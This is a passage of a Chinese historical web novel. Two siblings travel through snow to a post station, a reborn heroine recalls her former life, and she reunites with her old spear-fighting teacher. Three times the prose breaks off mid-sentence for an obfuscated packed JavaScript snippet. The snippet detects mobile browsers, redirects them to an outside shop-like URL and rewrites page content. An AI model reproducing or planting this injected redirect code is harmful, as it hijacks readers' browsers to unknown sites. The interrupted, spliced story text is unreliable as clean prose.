“我也有好几个月不曾见他了。”沈一汀想起谢三郎那副整日没心没肺的模样,她拧着帕子,苦恼道:“表妹昨日又来寻我了。” 谢瑍扬唇一笑:“还是为三郎的事?” 沈一汀点了点头:“她应当是真的中意三郎。” “三郎这人脾气不好,看上他的姑娘倒是不少。”谢瑍一笑:“我看他还如同孩童一般心性,半点结亲的心思也没,你表妹怕是要落了空,不如介绍下旁的人。” “可是我这表妹认死理,就认准了三郎。” 谢瑍长叹一声,似是想到什么,揉了揉眉心:“你可知二弟非我血脉至亲?” 沈一汀一怔,不明白他为何忽然转了话题,却还是极其配合,轻轻点头道:“听母亲提过。” “二弟本是开国第一忠勇之后,我父亲同他父亲关系甚好,两人还是拜过把子的兄弟,当年他尚在母腹之中,我父亲便说,若生的是女儿,定是要给我做媳妇的。” 谢瑍瞧出她神色微急,又连忙解释:“可他是个男儿身,这指腹为婚一事自然便作罢了。后来他双亲皆逝,父亲便将他收养在身边。他比我小两岁,又长三郎三岁,便排行老二。父亲极是疼爱他,待他甚至比待我与三郎还要上心几分。” 谢瑍想起以前,不由轻叹:“只是他在家中待了仅仅一年,便被叔父接回了义阳。” “那时三郎尚小,贵人语迟,三岁才会开口说话,头一句喊的便是二哥。”谢瑍每每想起此事,便气得牙根发痒。 沈一汀捏着帕子掩唇轻笑:“你是吃醋了!” “我吃什么醋?”谢瑍冷哼一声:“只是这小子小时候我没少给他换过尿布,他却对我一点儿也不亲,反倒黏着那只待了一年的二弟。当初二弟回义阳,他哭闹了许久,为此还大病一场,险些没救回来。十四岁那年竟还偷偷跑去义阳,一待便是两年。” “三郎这般胆大,是独自一人去的吗?” “那倒不是,有惜言与闻止陪着他一道去的。” 沈一汀点了点头,谢瑍又接着道:“二弟有一堂妹为人泼辣,名唤呦呦,二弟对她甚是上心,处处护着,还曾求过三郎能同她结亲,也好庇护她一时。” 沈一汀诧异抬头,谢瑍摇头一笑:“三弟没同意,两人为此还打上一架,后来……。” “后来如何?” 沈一汀被谢瑍这话顿在半截,当即急着张口追问。 谢瑍神色略微有些尴尬,他顿了顿,才又道:“三郎把二弟的堂妹押给了金店,险些叫金店老板发卖到青楼,后面二弟知晓了,当场就把三弟赶回来了。” 沈一汀听罢,顿时没话说了。 整个东都都知晓,谢家三公子玩世不恭,却向来敢作敢当。可这,他也太敢了,竟将武康侯嫡女押在了金店,还险些被发卖出去。 沈一汀抚着心口,问道:“呦呦姑娘当时多大年岁啊?” 谢瑍细算了下:“约莫十二岁吧,今年刚及笄。” “三郎比呦呦姑娘年长几岁?” “四岁。” “他那时也才十六,是不太懂男女之事,开春后三郎便要行及冠礼,也该稳重成熟些。”沈一汀迟疑道:“也该对姑娘家温柔几分。” 沈一汀乃是左丞相嫡女,其父沈聿修更是大晋开国文臣之首,家世冠绝勋贵。加之她又是父母老来得女,自降生起便被捧在掌心娇养,素来不曾遇过对她无礼的男子,自然难以想象谢三公子的顽劣程度。 谢瑍叹口气:“我也盼着他能如此。” 沈一汀浅浅一笑,转而轻道:“都说南方闺秀生得一副润相,娇俏清秀,肤润胜雪,语如莺啼,软糯清甜。那呦呦姑娘,定然生得娇俏可人吧!” 陈少闲打了个喷嚏。 “夜里又踢被子了?” 车厢内,端坐在一旁自己对弈的陈最,抬眸瞅了眼,对面四仰八叉躺着占去半壁车厢的壮士,他长叹口气:“真是后悔呀!” “后悔?”陈少闲一骨碌从软榻上爬起来,带着厚重的鼻音道:“晚了!” 陈最点头,无奈道:“是晚了。” 睡了一路,醒来只觉饥寒碌碌,陈少闲翻着桌面上的吃食,果子干吧了,饼子太甜了,肉干吃完了,她要哭了。 “哥,肉呢?” 陈最懒得再搭理她,出发前备下的一整只耗牛肉干,上路不过三日,全塞进了她的肚子。都说这般年纪正是能吃能喝长身体的时候,可她也实在太过能吃了些。 好在距东都不过两三日路程,总算快要熬出头。 “陈少闲,自上车以来你嘴巴歇过半刻吗?”看着眼前大马金刀坐着的模样,陈最把眉一皱,他觉得鬓角又生出了几根白发。 “歇过啦,这不才刚睡醒!”陈少闲啃着手里已脱水发蔫的苹果,语气极好地回了一句。 陈最冷嗤一声,干脆低下头去,打定主意少看她,少搭理她,省得给自己添堵。 “哥,那个小道士你怎么处置的?” 陈少闲啃着苹果,自顾自接了下去:“我觉得照着你的性子,绝不会就那么好说话地把人放了。” 陈最低头继续摆弄棋局,没回应她。 “估摸着十有八九,你会把他毒哑,亦或是……”陈少闲抬手在自己脖上轻轻一划。 “我在你心中,就这般残暴?” 陈最终于开口,眼底隐约有了几分怒意。陈少闲话到嘴边,便听陈最先一步解释道:“是动过杀他的念头,只是后来想想,这般满口胡言的人倒也有趣,便叫林一把人丢去了山对面。” “他可说了你不出十载,必掌生杀大权,立不世之功。” 陈最轻嗤一声:“乱世之时,武将可安邦定国,可如今天下太平,武将反倒成了皇权的心腹大患。他说我掌生杀大权,这话若是传入东都,你以为陛下还能容我完好无缺地回去?” 陈少闲微微一笑:“兄长想得到就行!” 陈最见她一副故作老派的神情,眉头一拧:“别老装深沉行不行,看得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471248|201493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我难受。” 听到这话,陈少闲拍了拍脸,语气半点不诚恳:“不好意思吓到你了,我尽量装得年轻些。” 陈最被这番话气笑了,他冷眼扫她:“忠诚侯,还没告诉我,你前世是怎么死的?” 自那小道士断言她并无封侯拜将的命数后,她便恍惚了许久,甚至疑惑,那日是否只是误打误撞,恰好撞破祈宴伪装成火头兵,根本就没有什么上一世。 可每当她开口提及东都那些身居高位的权贵,竟都能对的上。她从未踏足东都,却清晰得知晓那些人的姓名、爵位、家事,以及最终结局。 “不知道,忘了。” 陈最闻言,眉眼一挑:“旁人的死法你倒是记得滚瓜烂熟,自己怎么死的,反倒忘了?” 陈少闲心虚地很,但转过脸去,只道:“兴许,本就是一场梦了。” 陈最指尖夹着枚棋子,静静瞧着她不说话,陈少闲又把脸转了回来,试探着问一句:“那啥,哥,若是我守城败了,以死殉城算不算有气节?” “胜负乃兵家常事,难道一败,就得一死殉城?” 听到这话,陈少闲沉默了一会,想了想,才反问道:“难道不应该吗?” “我们家有气节的人够多了!” “我知晓祖父是在梁州之战,兵力不足苦守城池,后力竭被缚,城破之日与城共亡。大伯是攻打池阳时,在城头之上被敌军乱刀砍死。”陈少闲掰着指头:“不就两个人吗?” 陈最见她话多,有了几分不耐,随口敷衍道:“这不还有你么。” 陈少闲张嘴还要再说,陈最已是不耐,他指尖一掷,棋子径直朝她脸面甩了过来。 棋子破风有声,陈少闲闻声疾动,手腕一翻便稳稳接住那枚黑子,她故作惊讶道:“哥,你这不行啊!” 话音未落,陈最一拳已然砸来,陈少闲偏头堪堪躲过,不等她站稳,陈最又是一脚直踹而至。她慌忙旋身避开,软榻瞬间空了出来,陈最紧跟着又是一脚猛踹。 陈少闲直接被踹下马车,还未来得及发火,便听车厢内传来一声冷沉的命令:“急行,十里地。” 她抗议:“外面飘着雪呢!” 这一路马车摇摇晃晃,陈最被颠了足有一个多月,只觉浑身骨头都快散架,尤其那双腿,酸胀难忍。他往软榻上一躺,随手扯过陈少闲盖过的绒毯,倒头便睡。 车厢内炭火星星点点,温火不躁,车外朔风猎猎。越往东都的方向,雪越猛,陈少闲顶着雪花,一路跑,一路骂骂咧咧。 陈最听着车窗外陈少闲的碎碎叨叨,不知不觉便睡了许久,等他醒过来时,马车已然停在驿站门前。他掀开车帷,只见外头暮色四合,天边仅剩下最后一点天光。 陈少闲刚将驿卷勘合递到驿丞手中,听到动静,转头便见陈最从车上跃下,她笑着上前道:“将军,您睡好了吗?” “睡好了,什么时辰?”陈最问她。 “刚到酉时。”陈少闲跟在他身后,一副一本正经的模样,“已经让人备好了餐食,将军是先休息还是先用餐?” “又饿了?” 陈最瞥她一眼,陈少闲咧嘴一笑:“也不算太饿。” “那就晚些再吃,等个朋友。” 陈少闲一怔,脱口问道:“哪个朋友,我可认识?” 陈最没回她,只是淡淡道了句:“来了你便知。” 6. 谢铮 大雪漫天,云层沉厚。 陈少闲托着腮,连着打了十八个哈欠,终于忍无可忍从窗外飘飘洒洒的雪花里抽回视线。 她碎碎念道:“哥,有句话我不知当讲不当讲。” 陈最正在煮酒,铜壶里的酒水渐渐沸起,酒香弥漫。他闻声,抬眸撇了陈少闲一眼,语气淡淡:“那便不要讲!” 陈少闲早料到他会这般,等那人等了大半夜,真要见,早该出现了。这寒夜如铁,雪落如席,窗外连只狗都不肯露头,他又如何能笃定,会有人在这般恶劣天气下冒雪而来。 陈少闲绕步坐到陈最身旁,苦口婆心劝他:“哥,外头雪下得这般大,天寒地冻的,路面想必早已结了厚厚一层冰,寸步难行,谢世子又不是傻子,怎会在这等天气里还要赶着过来。” 陈最低头,拿起长案上的瓷杯,笑着问她:“你怎知我等的是谢世子?” “难道不是?”陈少闲思索一番,陈最在东都的好友虽多,可他一提等人,她第一反应便是谢世子,谢瑍。 离着东都不过百里路程,寻常好友断不会冒着风雪赶来相见,大可在东都静候。能不畏严寒踏雪而来的,唯有谢家两位公子。 既不是谢家世子,那定然是谢家三公子,谢铮。 一瞬之间,她想起上辈子。自谢铮将陈最的尸首送归之后,与他的再度相见,也是最后一面。 那时藩王赵闲起兵作乱,围攻济州,两军僵持五月不下。济州城被困守多日,粮草告急。池阳地处济州上游,陛下当即下旨,命她护送粮草前往驰援。 而那时候的他,早已袭爵曹国公,掌五军都督府的左军都督,一人统天下过半兵权,权倾朝野。 她站在船头卸着粮草那日,本是连下了多日的阴雨天,总算放晴出了日头,却并不耀眼。他站在岸上,一身重甲,威风凛凛。 那时候他比四年前苍老了许多,身形竟已显老态,整个人颓废得像个糟老头子般,甚至鬓角都生出一缕白发。眼中已没有了往日轻狂张扬的光,只余下一片沉寂。 他的目光往她身上只是淡淡一扫,不见波澜。 “师傅。” 反倒是她率先开口,躬身行礼。 谢铮只是微微颔首。 “为何?” 她还是沉不住气,哑声问道:“我不懂,我的兵法皆是你所授,为何你会大败?” 五十万对三万,哪怕是用人命堆上去互相对掏,也绝无输的可能。 可自幼学习兵法,少年时便随着父兄上过战场的谢铮,却偏偏输了,他还连着输了两场重大战役,先后将百万大军填给了赵闲,使其军力大增。 这般以多败少,连戏本子都不敢编写的桥段,他究竟是如何做到的? 谢铮看向远方,平静地道:“哪有这么多为什么,败了便是败了。” 谢铮这般态度,只让她更加恼火,她愤怒道:“你可知世人如何评价你的?他们说你是败军之将,草包都督,无能无才。” 谢铮终于转头,看了她一眼,神色不动,只淡淡道:“那又如何?” 她怒喝:“你这样会遗臭万年的!” 谢铮背负双手,好像别人口中的怒骂与他无关,他轻轻一笑:“那又如何?” 两人之间相隔几步,她却突然有种没话可说的意思。 后来。 谢铮于济州城外第三次大败,这一回,他竟直接抛下大军,弃济州不顾,一人独逃。连着三次大败,他凭一己之力,生生断送了大晋大半兵力、士气与军心,近乎亲手把半壁江山送给了赵闲。 她身死之时,谢铮已被陛下召回东都。满朝文武,拼死进谏,要求将他诛杀以谢天下。 “是你师傅。”陈最打断了她。 陈少闲顿时蹙起眉头。 “怕什么?” 陈最自顾自道:“回到东都也是要见的。” 陈少闲还陷在前世的回忆里没缓过神,听他这话只觉得莫名其妙。她想要起身出去透透气,又被陈最按着肩头,重新按回了软垫上。 陈少闲:“……” 陈最将斟满温酒的瓷杯递她面前,对她笑了笑:“好歹也是教了你两年的师傅,终不能躲着不见。” 陈少闲张了张口,陈最提醒她:“酒温好了,喝酒吧!” 陈少闲这才反应过来,端起面前的酒杯浅尝一口。酒里放了些许梅花,有些香甜,不烈不燥入喉温顺,倒是符合她的口味。 她呼了呼气,没再说话。 陈最瞧着她蔫头耷脑,又半死不活盯着某一处,两眼空空、死气沉沉,叹口气,幽幽道:“还记恨着他为几件首饰将你抵押之事?” 陈少闲闻言,眉头轻轻一蹙。 这是哪辈子发生的事啊,她怎么全无印象了。 陈少闲用力回想。 依稀记得,自己约莫十岁时便认识了谢铮。那时她还在义阳,深宅之中,是个没了母亲,又遭父亲与继母磋磨的不受宠的嫡小姐。 谢铮刚来府中时,她只当是堂兄陈最在军营里结识的同袍子弟。比她年长四岁,又小陈最三岁,正是精力旺盛,瞧谁都不顺眼的叛逆期。 那时陈最因腿疾自战场上退了下来,整日闭门不出,将自己关在府中不愿见人。 谢铮年纪不大,脾气却不小,精力更是旺盛得跟用不完似的,在府中根本就待不住。每日不是领着一群人游逛消遣就是斗虫遛鸟,惹事生非,时不时还跑去衙门替官老爷断案,遇有不平的还要吵上几嘴。 给义阳的陈府惹上不少麻烦。 而那时她的父亲陈为,还只是从五品的义阳卫镇抚,多次被太守找上门,陈为脸上也是挂不住,只得私下点一点还是世子身份的陈最。 陈最心知谢铮性子野,关是关不住,又见他武艺尚可,便顺手把她丢给了谢铮管束。 谢铮这人,凡事就爱讲条件,吃亏的事他从不爱干。 她一招一式还未开始学,谢铮便先让她跪地给他磕三个响头。她那时年纪尚小,只对着祠堂里母亲的牌位磕过头,听到这个要求满脸疑惑。 谢铮诓她,说他的武艺乃是云台山上宗师亲传,属内门绝学,概不外传,可若肯拜他为师,他便将一身本事,半生心得,毫无保留地倾囊相授。 她被哄得一愣一愣的,那时根本就整不明白,一个十四岁的少年哪来的什么半生心得! 她磕头拜师,磕得相当有力,底下铜盆被震得哐哐作响。 之后,两人朝夕相处过了两年,她对谢铮也算是彻底熟识,也终于看清他究竟是个什么东西。为几件首饰将她抵押给金店老板两天,也只是他斑斑劣迹中微不足道的毛毛雨。 不值一提。 “知退这人素来贪玩,却是没什么坏心眼。那日若不是突然听闻好友出事,也不会将你忘在金店两日。” 陈最又往她杯中添了些温酒,摇头轻笑:“他后来也受了责罚,一回东都便被谢世子打了一通板子,足足卧床养了一个多月,你也就别再为这事同他计较了。” 听到这话,陈少闲淡淡瞥他一眼,没说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471249|201493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈最继续道:“你也晓得他的性子,天生屋里关不住的人,你这一去了东都,哪里躲得掉他,说实在的,那两年他待你也算上心,好吃的好玩的也有想到你。” 陈少闲不接话。 陈最沉默了一会,想了想,疑惑问道:“不是气他将你抵押了?” 陈少闲冷哼一声,刚要开口争执两句,忽听窗外不远处隐隐有马蹄之声,蹄声由远渐近,紧跟着几声马嘶,在空寂雪夜里格外刺耳。 陈最闻言,摇头一笑:“你这位师傅,还是老样子,走到哪里都是这般张扬!” 陈少闲顿了片刻,忽然想起前世谢铮年少时随口说过的荒唐话,她转眸看向陈最,笑得阴恻恻:“还是要多谢兄长,为我寻得这么一位好师傅。” 听陈少闲这语气,陈最便明白了什么,他微微一笑:“算起来,他是我二弟,你是我小妹,这一拜师,辈分倒是乱了。” “可不是嘛!” 陈少闲黑色眸子藏着几分狡黠,又凑近陈最,在他耳畔低声道:“他当初,可不止想当我师傅这么简单。” “嗯?” 陈最诧异,陈少闲往后稍退,笑意盈盈地望着他,顿了一下,才道:“他其实,主要是想当你爹!” 这话一出,陈最端着酒杯的手猛地一顿,面露震惊:“什么?” “他说按照云台山的规矩,弟子事师,敬同于父,我得把他当作亲爹一样敬重孝顺。”陈少闲停了一下,想起当年谢铮说这话的模样,她撇撇嘴,“他说,他既是我的师傅,你同我的关系喊他一声师傅也是应当的。” 听到这话,陈最愣是半天说不出一个字。 陈少闲再接再厉,将脸又往后退了些,故意放慢语速:“他还说,一日为师,终身为父。我每喊他一声师傅,就等于你也跟着喊了他一声……” 话还没说完,便被陈最一巴掌呼了过去,显然他是气狠了,张嘴便骂了句:“狗东西!” 话刚落音,那个刚被骂作“狗东西”的人,正带着一阵喧哗声,推开客房的门。才刚探个头,陈少闲还没来得及看清五官,只隐约瞧见一张笑着的脸,就被陈最一拳头直接砸了出去。 陈少闲“啧”了一声。 兄长年纪大了,脾气真是越发暴躁,方才还笑眯眯跟她说谢铮没什么坏心眼,这才刚见面,抬手就往脸上揍。 真是拳拳到肉,半点儿情面不留啊! 两人从廊下一路打到庭院,风雪凄迷,朔风如刃。陈少闲倚在窗边寻了个绝佳位置,往杯中添了温酒,喜滋滋地瞧着楼下二人缠斗。 陈最出手尽是军营里最普通的招式,拳拳带着力量,招招狠厉,但是每一招均被谢铮轻易化解。 十几招下来,陈最竟是一点便宜没讨到,再看谢铮,反倒打得从容轻松,分明是故意戏弄,溜着他玩呢。 早已歇下的亲兵听到动静,慌忙披甲束刃聚拢在楼下,见陈最正与一青年殴打在一起,他们想也未想的,当即挥拳拥上,加入了混战。 谢铮身后两人本站在一处闲闲的抱着手臂看戏,见状忽然涌来一群人,两人不由得撸起袖子也埋头扎进混战之中。 人多势众,谢铮方才还游刃有余,顷刻间被数十名精锐亲兵围堵,顿时显得吃力。他身后两人虽身手不弱,可即便一同出手,也堪堪与对方打成持平之势。 溜不了陈最,谢铮眉头深蹙,喝道:“你耍赖!” 陈最冷哼一声,没搭理他,反而仰头,对着楼上倚窗看戏的陈少闲大吼一声:“陈少闲,就这么看着本将军被人打?” 7. 骂人这般难听? 陈少闲听他语气便知是没讨到便宜,心里正憋着火气,属实心眼太小,今日若不占上风,定然不肯罢休。她叹口气,抱着红缨枪从窗台一跃而下。 落得轻盈,但脚下积雪却被踩得四溅。 她跺了跺脚,红缨枪的一头指着对面,故意粗着嗓子开口:“谢二公子是瞧着我们将军腿有疾,故意欺辱?” 谢铮一路冒着风雪急奔而来,本就是风尘扑面,面带倦色,尚未歇脚又同陈最打斗一番,额前发丝汗湿,鬓发微乱。 他望着眼前一身士卒装扮的少年,身穿浅绿色长袍,外罩灰色胖袄,下身亦是同色胖裤。厚重的棉衣包裹在身,腰背都显得宽厚臃肿,分不清究竟是皮肉厚实,还是衣间塞足了棉絮,整个人显得圆敦敦的,看着敦实壮硕。 再看她脸,眉是浓眉,眼是杏眼,唇红齿白,一看就是气血充足,只是这脸被风雪吹得黑里透着红,黑红黑红的。 谢铮心里万千感慨,她好像又黑又胖又丑了!!! 知晓她故意女扮男装,又是士卒装扮,有些话大庭广众之下不适宜说,他挑了挑好看的眉眼,疑惑道:“陈少闲?” “是你太爷爷我!” 陈少闲粗鲁骂上一句,她手中红缨枪一伸,卷起枪花,径直朝他刺来。 谢铮微一怔愣,身形向左错步,左掌顺势翻转,径直朝枪头抓去,广袖被朔风吹得猎猎作响。他又气又好笑地瞪了她一眼:“跟谁学的,骂人这般难听?” 陈少闲耍的枪法,本就是谢铮亲手所授,亦是他最引以为傲的本事,当初教她的时候,他可是下了一番大功夫。 陈少闲学得也属用心,虽不及谢铮精湛,却也颇得枪法心传。只见她刺、挑、栏、横、架,招数灵动,虚实结合,却又招招致命。但是谢铮却是人随枪走,知进知退,进退有距,深知她每下一步动作。 陈少闲也深知他对自己的招式路数熟悉至极,想胜他实在太难,可若一分也未,却是有点难堪了。 她不禁烦躁,动作上便更加迅速,一口气将枪法通通使上一遍。谢铮招招接住,面上不露山水,心里却深感她的枪法进步颇快,若是再练上几年怕是要同他打个平手。 也就一晃神的功夫,枪头已然直逼面门,谢铮面色一惊,陈少闲亦是心头一紧,只见枪尖已到眼前,她急忙收手,手中枪头急速往左偏移。 说是迟那是快,谢铮双掌合拢,一瞬间将枪尖挟入双掌之中。 虽拼了全力却未想过要伤对方分豪,陈少闲稍稍松了口气,她没多想便将红缨枪往回抽,却是不动,她又用了猛力,依旧纹丝不动。 连着几个拉扯,脸都胀红,枪头牢牢的在对方双掌。 陈少闲瞪了一眼,只听对面的人爽朗一笑:“徒弟的枪法还算尚可!” 旋即谢铮松开手,朝着陈最的方向行了礼,唤了声:“二哥。” 陈最还恼着陈少闲方才那番话,脸色很是难看,可打又打不过,只得冷哼一声,摆了摆手,身旁亲兵当即收了手,谢铮也顺势叫停了两人。 一行人对着陈最躬身行礼,便纷纷退下了。 一番打斗下来,谢铮与身后两人都出了一身汗,他抬手拭去额角汗珠,先让两人下去洗漱。陈最领着他上楼,谢铮跟在身后,见他上楼时脚步微跛,当即皱起眉,开口问道:“二哥的腿,怎么还未痊愈?” 陈最的腿早年曾被北凉的战马碾压过,断了有两年之久,寻遍名医都束手无策。他也曾自暴自弃,以为下辈子只能做个残废。也就是陈少闲十岁那年,谢铮忽然来到义阳,不知从何处寻来一位神医,竟真的将他的断腿医好。 如今虽与常人行走无异,可一旦动武练功,跛态便格外明显。 出招时总要慢上几分,这也是他方才竭力仍不敌谢铮的缘由,若是换作七年前,他与他大哥谢瑍交手,也是不分伯仲。 客房里燃着炭木,陈少闲怕冷,特意多燃了两盆。陈最将门推开,一股子热浪扑面而来,谢铮在雪地里骑了一日半的马,乍一踏入暖室,身上禁不住打个寒噤,不由分说奔着离着最近的炭火盆去。 他白皙的双手展开,任由融融暖意包裹,瞧见长桌上还有刚温好的酒水。他忙为自己斟上一杯,凑到唇边浅尝一口,眯了眯眼,酒水里添杂着梅花香,有点甜,他不喜,却也不想亏待自己,仍是小口饮尽。 酒水下肚,人也跟着暖和起来。 陈最见他毫不客气全当自己家样,抱着炭火盆恨不得一头扎进去,冷嗤一声:“三公子也这般怕冷?” 谢铮闻言未理,只顾看向长桌上摆着的几盘零嘴。一路风雪交加,他赶了一天的路早已饥寒碌碌,也没怎么挑,伸手从面前最近的一盆板栗中捏出一颗。板栗应是被涂了一层蜂蜜,瞧着油光锃亮,闻着香甜。 他剥开裂壳,金黄栗肉,连忙丢入口中,只是已经凉透了,口感远不如刚出锅时粉糯甜软,但是这鬼地方,也只能聊胜于无了。 他吞下一颗栗肉,才抬头,便见陈少闲坐在长桌对面,一双杏仁大眼直直盯着他。只是这眼神,让人心里莫名有些发慌。 明明只是十五六岁的姑娘,眼底却藏着太多心绪,看他时不似寻常打量,反倒带着探究,甚至还掺杂着一丝若有若无的同情。 谢铮又看了一眼陈少闲,端起面前一盆板栗不着痕迹地往旁边挪了一下,迟疑着道:“我徒弟这是怎么了?怎么看人怪怪的?” 陈最喝了口温酒,语气淡淡:“不用管她,前些日子也是这么盯着我的。” “是撞了脑子?” 谢铮指了指自己的脑袋,陈最张嘴胡扯:“差不多吧,时不时疯一下,习惯就好。” 两人的对话尽数落在陈少闲耳中,她懒得搭理。自谢铮踏进屋内,她的目光便牢牢锁在他身上,跟着他动。 眼前分明是十九岁,活蹦乱跳的谢铮,可她脑海中浮现的,却是那个身披重甲,迎风负手而立,一身死寂,权倾朝野的大都督。 明明是同一张脸,只是差了年岁而已,可却像是两个完全不同的人。 她脑子乱成了一团,上一世的谢铮和眼前的谢铮碰撞在一起,让她整个人陷入一种混乱之中,有种分不清是现实还是梦境的恍惚错感。 谢铮又看了她一眼,转而看向陈最:“你还没回我话,腿怎么还没好利索?” “好不了!”陈最不咸不淡回了句。 “什么叫好不了?” 谢铮不明白他的意思,当年他千讨万求,才请动师傅下山为陈最医治断腿,前后足足两年之久,才将他的断腿治得与常人基本无异。只需照着方子再多吃几年药,身手自是恢复当年模样。 可方才交手一试便知,他的腿非但没见好,反倒不如三年前。腿脚迟钝得太过明显,若是上阵遇上高手,必定要吃大亏。 “兄长说药太难吃,不肯吃。”陈少闲回过神来,伸手将陈最的左腿揽在怀中,诚实道。 听到这话,谢铮愣了一下,又反问道:“药难吃?” “嗯。” 陈少闲点了点头,轻轻揉着陈最的左小腿,继续说道:“那药我也喝过一口,真难喝,里面居然有蟾蜍的身子。” 一想起药碗里趴着的蟾蜍,浑身布满疙瘩,她便止不住地发颤。那东西实在是长得恶心。她从不畏惧豺狼虎豹,也不惧怕老鼠蜚蠊,却唯独害怕蟾蜍。 义阳城一到夏日,满荷塘都是那东西,整夜聒噪乱叫,吵得人没法睡。白日里还会跳到岸边,一蹦老远,稍不留意便会窜进寝室。 本以为离了义阳,不用再见那恶心的东西,谁知池阳的蟾蜍,竟是整个大晋种类最多的,而且毒性最烈的都在那儿。身上的疙瘩一旦挤破,会流出白色的毒液,一不小心沾到嘴边会红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471250|201493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肿好几日,若是溅入眼中,更会刺痛半月有余。 她惧怕蟾蜍,陈最更深。 自从在药碗中翻出半截蟾蜍的身子,他是一口药也不肯吃了。 上一世,陈最陪在她身边的时日不长,她也不曾知晓这种情况。直到这一个多月朝夕相处,她才察觉陈最腿脚行动间似乎有些吃力,得知他竟已停药半年有余,便劝着他继续用药,那会陈最默不出声,只是稍后便唤人端来一碗熬制好的药汁。 陈最将药碗推她面前,表情有点委屈:“小妹替我试试温度。” 陈少闲幼时总是生病,每次吃药都会眼泪汪汪。陈最托养她到六岁,对她百般呵护,每次喂药之前总要自己先尝上一口,再哄着她喝下。 陈少闲并未多想,伸手接过药碗,张嘴便试了下温度,不试不打紧,一试她差点连碗一起丢了出去。 从未喝过如此难喝的药汁! 那不单单是苦味,还夹杂着腥臭味,药碗端上来起初她是闻不到任何味道的,只有入了口,才感受到那药水就像死了上百年的臭鱼,还有烂菜叶一起发酵而出的味道。 前世今生加起来,陈少闲在滂臭的男人窝里待了十几年,导致一般的臭味她几乎闻不出来。 那药汁一入口,竟差点将她臭死过去。 她顿时被恶心得红了眼睛,陈最甚是贴心,怕她看不清,用汤匙把沉在碗底,满身疙瘩的蟾蜍挖了出来。 她没忍住一口喷得老远。 陈最似是早有预料,及时闪身躲开,身上是没染上一滴。但是胃口极浅,两人不约而同蹲在车外狂吐不止。 自那以后,陈少闲再也不提吃药这事,只是每日一有空闲,就替陈最揉腿。她不懂药理,只记得往日身上有淤青,揉一揉便能散开,她想没事揉一揉,也能活血化淤、减轻些疼痛。 谢铮听完,有些无言以对,沉默半晌,才无奈开口:“良药苦口,难吃只是一时,身子养好才是长久,此理甚浅,二哥不懂?” “不懂。” 陈最这一句话与他板正严肃的声音格格不入。 陈少闲实在没忍住,噗嗤一声笑出了声响。抬眸,目光落在谢铮黑漆漆的一张脸上,她又赶紧低下头。 她心里明白药方是谢铮寻来的,对兄长的腿确实有效,只是那药兄长硬着头皮喝了五年也是苦恼,她不由得替兄长辩解:“那药是真的难喝,我一口都喝不下去!” 谢铮当即开口训道:“你的腿又没伤,喝什么药?” “我就试试味!” “难喝忍一忍,一口气的事!” 陈少闲一想起那味,估摸着一口气也解决不了,她撇了眼陈最,只见他语气淡淡:“一口解决不了。” “那就再多一口!” 陈最没回他,陈少闲望向他,硬着头皮道:“那药确实难喝,能不能麻烦师傅替兄长再寻个新方子?” “我到哪儿替你们寻找新方子?” 谢铮见他们兄妹俩这般油盐不进,愣是被气笑了,他缓了缓神色,开口道:“我已有两年没见过师傅,如今他老人家是死是活,我都不知道,去哪里寻他再改个方子?” “那换个道士?” 谢铮听了陈最这话,脸色难看极了,他也没多说,径直起身一甩衣袖便去开门。 “师傅。” 陈少闲追了出去,下意识地伸手拉住他衣袖,这动作仿佛做过无数遍,像是刻在记忆里一般,她蓦然怔住,竟被自己这般亲昵的举动惊了一下。 “你兄长任性,你随着他任性?” 她抬眼望去,谢铮正看着她,语气软了几分:“我师傅本就云游无定之人,来去无牵,我若寻他也不是件易事,只得靠缘分。二哥腿疾若犯了,还是先将就苦药服下,待回到东都我便派人去云台山守着,若他回来,我第一时间去求得药方,可好?” 8. 三打一? 下了一整夜的大雪,第二日醒来,驿舍楼下的门窗,早已被厚厚积雪封得严实。 陈少闲听到楼下的动静,心想着昨夜暴雪竟连门都封住了,今日定然是走不了,于是她又往被窝里缩了缩,打算赖在床上多睡会。 刚有这个想法,便听见敲门声。 陈少闲问了一声,也没见人答应,只是敲门声固执地一下下响着,她只得起身穿衣。 刚打开门,便见一个青年,一身青色棉袍,怀中抱剑,笑眯眯地站在门口。 陈少闲眨了眨眼,随后反应过来,当即大喜道:“惜言! 惜言是谢铮贴身侍从之一,身手极好,自小就跟在谢铮身侧,他曾随谢铮在义阳待过两年,论起来,也算陈少闲半个师傅。 惜言对着陈少闲咧嘴一笑,伸手从怀中递出一柄短剑。 陈少闲低头一看,是一把轻薄的短剑,剑柄缠绕冰蓝色绸带,剑穗用的同色绸缎编织,尾坠还挂着一枚银铃,动时便会微微轻响。 